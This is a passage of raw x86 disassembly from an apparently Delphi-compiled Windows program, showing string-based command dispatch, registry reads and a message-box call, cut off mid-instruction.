mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0xa38]
call fcn.0040b328
mov dword [ebp - 0x644], eax
cmp byte [ebp - 0x63d], 0
je 0x598105
lea edx, [ebp - 0xa3c]
mov eax, 0x5ae1a8
call fcn.0058fff8
mov eax, dword [ebp - 0xa3c]
call fcn.0040b328
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0xa40]
mov eax, 0x5ae168
call fcn.0058fff8
mov eax, dword [ebp - 0xa40]
call fcn.005b458c
xor eax, eax
call fcn.0058edbc
cmp dword [ebp + 0xc], 0
je 0x59812e
mov eax, dword [ebp - 0x54c]
call dword [ebp + 0xc]
test al, al
jne 0x59812e
push ebp
mov al, 1
call fcn.005940c0
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5ad82b
mov edx, dword [ebp - 0x438]
mov eax, dword [0x5dcccc]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
je 0x598a68
cmp dword [0x5dcd78], 2
jne 0x598333
lea ecx, [ebp - 0xa44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa44], 0
je 0x598333
xor eax, eax
push ebp
push 0x5981e2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x621]
push eax
lea ecx, [ebp - 0xa48]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.0059022c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x59823b
lea ecx, [ebp - 0xa50]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa50], 0
jne 0x5982c6
push dword [0x5dcd38]
lea ecx, [ebp - 0xa54]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa54]
lea eax, [ebp - 0xa58]
push eax
lea ecx, [ebp - 0xa5c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa5c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xa58]
mov eax, dword [0x5d5a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5988e6
push dword [0x5dcd38]
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa60]
lea eax, [ebp - 0xa64]
push eax
lea ecx, [ebp - 0xa68]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa68]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xa64]
mov eax, dword [0x5d5a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5988e6
cmp dword [0x5dcd78], 2
je 0x59888d
lea ecx, [ebp - 0xa6c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa6c], 0
je 0x59888d
push dword [0x5dcd38]
lea ecx, [ebp - 0xa70]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa70]
lea eax, [ebp - 0xa74]
push eax
lea ecx, [ebp - 0xa78]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa78]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xa74]
mov eax, dword [0x5d5a54]
mov edx, 3
call fcn.00405e2c
cmp dword [0x5dcd78], 3
jne 0x598691
mov eax, dword [0x5d5a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x598691
mov eax, 0x5dcd3c
call fcn.00405a98
xor eax, eax
push ebp
push 0x598596
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
lea edx, [ebp - 0xa7c]
mov eax, 0x5adf94
call fcn.0058fff8
mov eax, dword [ebp - 0xa7c]
call fcn.005936d4
test al, al
je 0x598446
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
jmp 0x598456
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [0x5d6114]
cmp dword [eax], 1
jne 0x598470
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0xa84]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0xa84]
lea eax, [ebp - 0xa80]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0xa80]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
lea ecx, [ebp - 0xa88]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431090
mov edx, dword [ebp - 0xa88]
mov eax, 0x5dcd3c
call fcn.00405aec
mov edx, dword [0x5dcd3c]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd3c
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dcd3c]
mov dword [ebp - 0x718], eax
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 0
je 0x59852e
mov eax, dword [ebp - 0x71c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x71c], eax
mov edx, dword [0x5dcd3c]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd3c
mov ecx, dword [ebp - 0x71c]
call fcn.00405fd0
lea edx, [ebp - 0xa90]
mov eax, dword [0x5dcd3c]
call fcn.0040bbcc
mov eax, dword [ebp - 0xa90]
lea edx, [ebp - 0xa8c]
call fcn.00589dcc
mov edx, dword [ebp - 0xa8c]
mov eax, 0x5dcd3c
call fcn.00405aec
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5985aa
cmp dword [0x5d565c], 0
je 0x5985d3
lea edx, [ebp - 0xa94]
mov eax, dword [0x5d565c]
call fcn.00589dcc
mov edx, dword [ebp - 0xa94]
mov eax, 0x5dcd3c
call fcn.00405aec
lea eax, [ebp - 0xa98]
mov ecx, dword [0x5dcd08]
mov edx, dword [0x5dcd28]
call fcn.00405db0
mov eax, dword [ebp - 0xa98]
call fcn.0040b8f0
test al, al
je 0x598609
mov eax, 0x5dcd3c
mov edx, dword [0x5dcd28]
call fcn.00405aec
mov eax, 0x5dcd28
mov edx, dword [0x5dcd3c]
call fcn.00405aec
mov eax, 0x5dcd38
mov edx, dword [0x5dcd3c]
call fcn.00405aec
push dword [0x5dcd38]
lea ecx, [ebp - 0xa9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa9c]
lea eax, [ebp - 0xaa0]
push eax
lea ecx, [ebp - 0xaa4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaa4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xaa0]
mov eax, dword [0x5d5a54]
mov edx, 3
call fcn.00405e2c
mov eax, dword [0x5d5a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x5988e6
mov byte [ebp - 0x595], 0
cmp byte [0x5dccf4], 0
je 0x5986be
mov byte [ebp - 0x595], 1
jmp 0x5986e0
mov eax, dword [0x5dccc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d593c]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d8e8
xor al, 1
mov byte [ebp - 0x595], al
lea edx, [ebp - 0xaa8]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0xaa8]
mov edx, dword [0x5dcd08]
call fcn.00405d64
mov eax, dword [ebp - 0xaa8]
call fcn.0040b8f0
test al, al
jne 0x598756
lea edx, [ebp - 0xab0]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
push dword [ebp - 0xab0]
push 0x5ae6e8
push dword [0x5dcd08]
lea eax, [ebp - 0xaac]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0xaac]
call fcn.0040b8f0
test al, al
jne 0x598756
xor eax, eax
jmp 0x598758
mov al, 1
mov byte [ebp - 0x596], al
movzx eax, byte [ebp - 0x595]
or al, byte [ebp - 0x596]
je 0x5986ac
cmp byte [ebp - 0x596], 0
je 0x598872
lea edx, [ebp - 0xab4]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
lea eax, [ebp - 0xab4]
mov edx, dword [0x5dcd08]
call fcn.00405d64
mov eax, dword [ebp - 0xab4]
call fcn.0040b8f0
test al, al
je 0x5987d2
lea edx, [ebp - 0xab8]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0xab8]
mov eax, 0x5dcd28
call fcn.00405aec
jmp 0x5987f8
lea edx, [ebp - 0xabc]
mov eax, dword [ebp - 0x3c0]
call fcn.00589dcc
mov edx, dword [ebp - 0xabc]
mov eax, 0x5dcd28
mov ecx, 0x5ae6e8
call fcn.00405db0
mov eax, 0x5dcd38
mov edx, dword [0x5dcd28]
call fcn.00405aec
push dword [0x5dcd38]
lea ecx, [ebp - 0xac0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xac0]
lea eax, [ebp - 0xac4]
push eax
lea ecx, [ebp - 0xac8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xac8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xac4]
mov eax, dword [0x5d5a54]
mov edx, 3
call fcn.00405e2c
jmp 0x5988e6
mov ecx, dword [0x5d5ee4]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x409a6c]
call fcn.0040f558
call fcn.004053ec
jmp 0x5988e6
lea eax, [ebp - 0xad0]
push eax
lea ecx, [ebp - 0xad4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xad4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xad0]
lea edx, [ebp - 0xacc]
call fcn.0040bcb8
mov ecx, dword [ebp - 0xacc]
mov eax, dword [0x5d5a54]
mov edx, dword [0x5dcd24]
call fcn.00405db0
lea eax, [ebp - 0xad8]
call fcn.0058eed4
mov edx, dword [ebp - 0xad8]
mov eax, dword [0x5d5d14]
call fcn.00405aec
lea eax, [ebp - 0xadc]
push eax
lea ecx, [ebp - 0xae0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xae0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xadc]
mov eax, dword [0x5d5e54]
call fcn.00405aec
mov eax, dword [0x5d5a54]
mov eax, dword [eax]
call fcn.0040b8f0
test al, al
jne 0x598998
push 0x10
lea eax, [ebp - 0xae4]
call fcn.004b05e0
mov eax, dword [ebp - 0xae4]
call fcn.00405f28
push eax
lea edx, [ebp - 0xae8]
mov eax, 0x58e0d4
call fcn.004081b8
mov eax, dword [ebp - 0xae8]
call fcn.00405f28
push eax
mov eax, dword [0x5dccc4]
push eax
call sub.user32.dll_MessageBoxA_1
jmp 0x5ad501
mov eax, dword [0x5d5f00]
mov byte [eax], 0
mov eax, dword [0x5d583c]
mov edx, dword [0x5dccc4]
mov dword [eax], edx
mov eax, dword [0x5d5f04]
mov byte [eax], 1
xor eax, eax
push ebp
push 0x598a25
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a140]
call fcn.0042a3cc
mov edx, dword [0x5d5dcc]
mov dword [edx], eax
mov eax, dword [0x5d5dcc]
mov eax, dword [eax]
call fcn.0058edbc
call fcn.005b4578
inc eax
jne 0x598a03
mov eax, dword [0x5d5dcc]
mov eax, dword [eax]
call fcn.0042a884
mov eax, dword [0x5d5f00]
cmp byte [eax], 0
je 0x5989e3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x598a2c
call fcn.005924cc
call fcn.00592568
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae6f8
call fcn.00405ec0
jne 0x598bb3
lea eax, [ebp - 0xaf0]
push eax
lea ecx, [ebp - 0xaf4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaf4]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xaf0]
lea edx, [ebp - 0xaec]
call fcn.005939c8
mov edx, dword [ebp - 0xaec]
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
push dword [0x5dcd28]
lea eax, [ebp - 0xaf8]
push eax
lea ecx, [ebp - 0xafc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xafc]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
push dword [ebp - 0xaf8]
push 0x5ae710
lea eax, [ebp - 0x3e8]
mov edx, 3
call fcn.00405e2c
lea eax, [ebp - 0x3e4]
call fcn.00405a98
lea eax, [ebp - 0xb00]
push eax
lea ecx, [ebp - 0xb04]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb04]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb00]
lea edx, [ebp - 0x3e4]
call fcn.0058faf0
cmp dword [ebp - 0x3e4], 0
jne 0x598b8c
lea edx, [ebp - 0x3e4]
mov eax, 0x5ae720
call fcn.0058faf0
lea edx, [ebp - 0xb08]
mov eax, dword [ebp - 0x3e4]
call fcn.0058fbfc
mov edx, dword [ebp - 0xb08]
lea eax, [ebp - 0x3e4]
call fcn.00405b30
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae730
call fcn.00405ec0
jne 0x598c70
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xb0c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb0c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0xb14]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov edx, dword [ebp - 0xb14]
mov eax, dword [0x5dccd0]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, eax
inc edx
lea ecx, [ebp - 0xb10]
mov eax, dword [0x5dccd0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xb10]
call fcn.0040b328
mov dword [ebp - 0x54c], eax
xor eax, eax
mov dword [ebp - 0x5a4], eax
mov byte [ebp - 0x59c], 0
mov byte [ebp - 0x59b], 0
mov byte [ebp - 0x59d], 0
mov byte [ebp - 0x5a5], 0
mov byte [ebp - 0x5a6], 0
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae744
call fcn.00405ec0
jne 0x598efd
xor eax, eax
push ebp
push 0x598ef6
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0xb18]
push eax
lea ecx, [ebp - 0xb1c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb1c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb18]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xb20]
push eax
lea ecx, [ebp - 0xb24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb24]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb20]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x598e0c
push 0
lea eax, [ebp - 0xb2c]
push eax
lea eax, [ebp - 0xb30]
push eax
lea ecx, [ebp - 0xb34]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb34]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xb30]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xb2c]
lea edx, [ebp - 0xb28]
call fcn.005939c8
mov edx, dword [ebp - 0xb28]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xb3c]
push eax
lea eax, [ebp - 0xb40]
push eax
lea ecx, [ebp - 0xb44]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb44]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xb40]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0xb3c]
lea edx, [ebp - 0xb38]
call fcn.005939c8
mov edx, dword [ebp - 0xb38]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
push 0x5ae75c
lea eax, [ebp - 0xb48]
push eax
lea ecx, [ebp - 0xb4c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb4c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb48]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e5a4
movzx eax, byte [0x5ae760]
push eax
push 0
push 0
push 1
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0xb54]
mov eax, dword [ebp - 0x424]
call fcn.0058ff30
mov eax, dword [ebp - 0xb54]
push eax
lea eax, [ebp - 0xb50]
push eax
lea edx, [ebp - 0xb58]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xb58]
push eax
lea edx, [ebp - 0xb5c]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov eax, dword [ebp - 0xb5c]
push eax
lea edx, [ebp - 0xb60]
mov eax, dword [ebp - 0x420]
call fcn.0058ff30
mov eax, dword [ebp - 0xb60]
pop edx
pop ecx
call fcn.005895bc
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae76c
call fcn.00405ec0
jne 0x59a0b5
xor eax, eax
push ebp
push 0x59a0ae
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
call fcn.0059247c
lea eax, [ebp - 0xb64]
push eax
lea ecx, [ebp - 0xb68]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb68]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb64]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
lea eax, [ebp - 0xb6c]
push eax
lea ecx, [ebp - 0xb70]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb70]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb6c]
lea edx, [ebp - 0x3d4]
call fcn.005939c8
cmp dword [0x5dcd60], 0
je 0x59909e
push 0
lea eax, [ebp - 0xb78]
push eax
lea eax, [ebp - 0xb7c]
push eax
lea ecx, [ebp - 0xb80]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb80]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xb7c]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2fe8
mov eax, dword [ebp - 0xb78]
lea edx, [ebp - 0xb74]
call fcn.005939c8
mov edx, dword [ebp - 0xb74]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0
lea eax, [ebp - 0xb88]
push eax
lea eax, [ebp - 0xb8c]
push eax
lea ecx, [ebp - 0xb90]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb90]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov edx, dword [ebp - 0xb8c]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b2fe8
mov eax, dword [ebp - 0xb88]
lea edx, [ebp - 0xb84]
call fcn.005939c8
mov edx, dword [ebp - 0xb84]
lea eax, [ebp - 0x3d4]
call fcn.00405b30
lea eax, [ebp - 0xb98]
push eax
lea ecx, [ebp - 0xb9c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb9c]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xb98]
lea edx, [ebp - 0xb94]
call fcn.0058ff30
mov eax, dword [ebp - 0xb94]
call fcn.005936d4
test al, al
je 0x599123
lea edx, [ebp - 0xba4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xba4]
lea eax, [ebp - 0xba0]
call fcn.00406438
mov eax, dword [ebp - 0xba0]
lea edx, [ebp - 0x458]
call fcn.00586de0
lea eax, [ebp - 0xbac]
push eax
lea ecx, [ebp - 0xbb0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbb0]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xbac]
lea edx, [ebp - 0xba8]
call fcn.0058ff30
mov eax, dword [ebp - 0xba8]
call fcn.005936d4
test al, al
je 0x5991a8
lea edx, [ebp - 0xbb8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbb8]
lea eax, [ebp - 0xbb4]
call fcn.00406438
mov eax, dword [ebp - 0xbb4]
lea edx, [ebp - 0x458]
call fcn.00586e4c
lea eax, [ebp - 0xbc0]
push eax
lea ecx, [ebp - 0xbc4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbc4]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xbc0]
lea edx, [ebp - 0xbbc]
call fcn.0058ff30
mov eax, dword [ebp - 0xbbc]
call fcn.005936d4
test al, al
je 0x59922d
lea edx, [ebp - 0xbcc]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbcc]
lea eax, [ebp - 0xbc8]
call fcn.00406438
mov eax, dword [ebp - 0xbc8]
lea edx, [ebp - 0x458]
call fcn.00586fb4
lea eax, [ebp - 0xbd4]
push eax
lea ecx, [ebp - 0xbd8]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbd8]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xbd4]
lea edx, [ebp - 0xbd0]
call fcn.0058ff30
mov eax, dword [ebp - 0xbd0]
call fcn.005936d4
test al, al
je 0x5992b2
lea edx, [ebp - 0xbe0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbe0]
lea eax, [ebp - 0xbdc]
call fcn.00406438
mov eax, dword [ebp - 0xbdc]
lea edx, [ebp - 0x458]
call fcn.005872e4
lea eax, [ebp - 0xbe8]
push eax
lea ecx, [ebp - 0xbec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbec]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xbe8]
lea edx, [ebp - 0xbe4]
call fcn.0058ff30
mov eax, dword [ebp - 0xbe4]
call fcn.005936d4
test al, al
je 0x599337
lea edx, [ebp - 0xbf4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058ff30
mov edx, dword [ebp - 0xbf4]
lea eax, [ebp - 0xbf0]
call fcn.00406438
mov eax, dword [ebp - 0xbf0]
lea edx, [ebp - 0x458]
call fcn.00586d74
lea eax, [ebp - 0xbfc]
push eax
lea ecx, [ebp - 0xc00]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc00]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xbfc]
lea edx, [ebp - 0xbf8]
call fcn.0058ff30
mov eax, dword [ebp - 0xbf8]
call fcn.005936d4
test al, al
je 0x599e43
lea eax, [ebp - 0xc08]
push eax
lea ecx, [ebp - 0xc0c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc0c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc08]
lea edx, [ebp - 0xc04]
call fcn.0058ff30
mov eax, dword [ebp - 0xc04]
call fcn.005936d4
test al, al
je 0x599633
call fcn.00581e4c
lea eax, [ebp - 0x454]
call fcn.005829ec
lea eax, [ebp - 0xc14]
push eax
lea ecx, [ebp - 0xc18]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc18]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc14]
lea edx, [ebp - 0xc10]
call fcn.0058ff30
mov eax, dword [ebp - 0xc10]
call fcn.005936d4
test al, al
je 0x5994f1
lea eax, [ebp - 0xc20]
push eax
lea ecx, [ebp - 0xc24]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc24]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0xc20]
lea edx, [ebp - 0xc1c]
call fcn.0058ff30
mov eax, dword [ebp - 0xc1c]
call fcn.005936d4
test al, al
je 0x5994c7
lea edx, [ebp - 0xc28]
mov eax, dword [ebp - 0x458]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc28]
xor ecx, ecx
mov edx, dword [ebp - 0x454]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5994f1
lea edx, [ebp - 0xc2c]
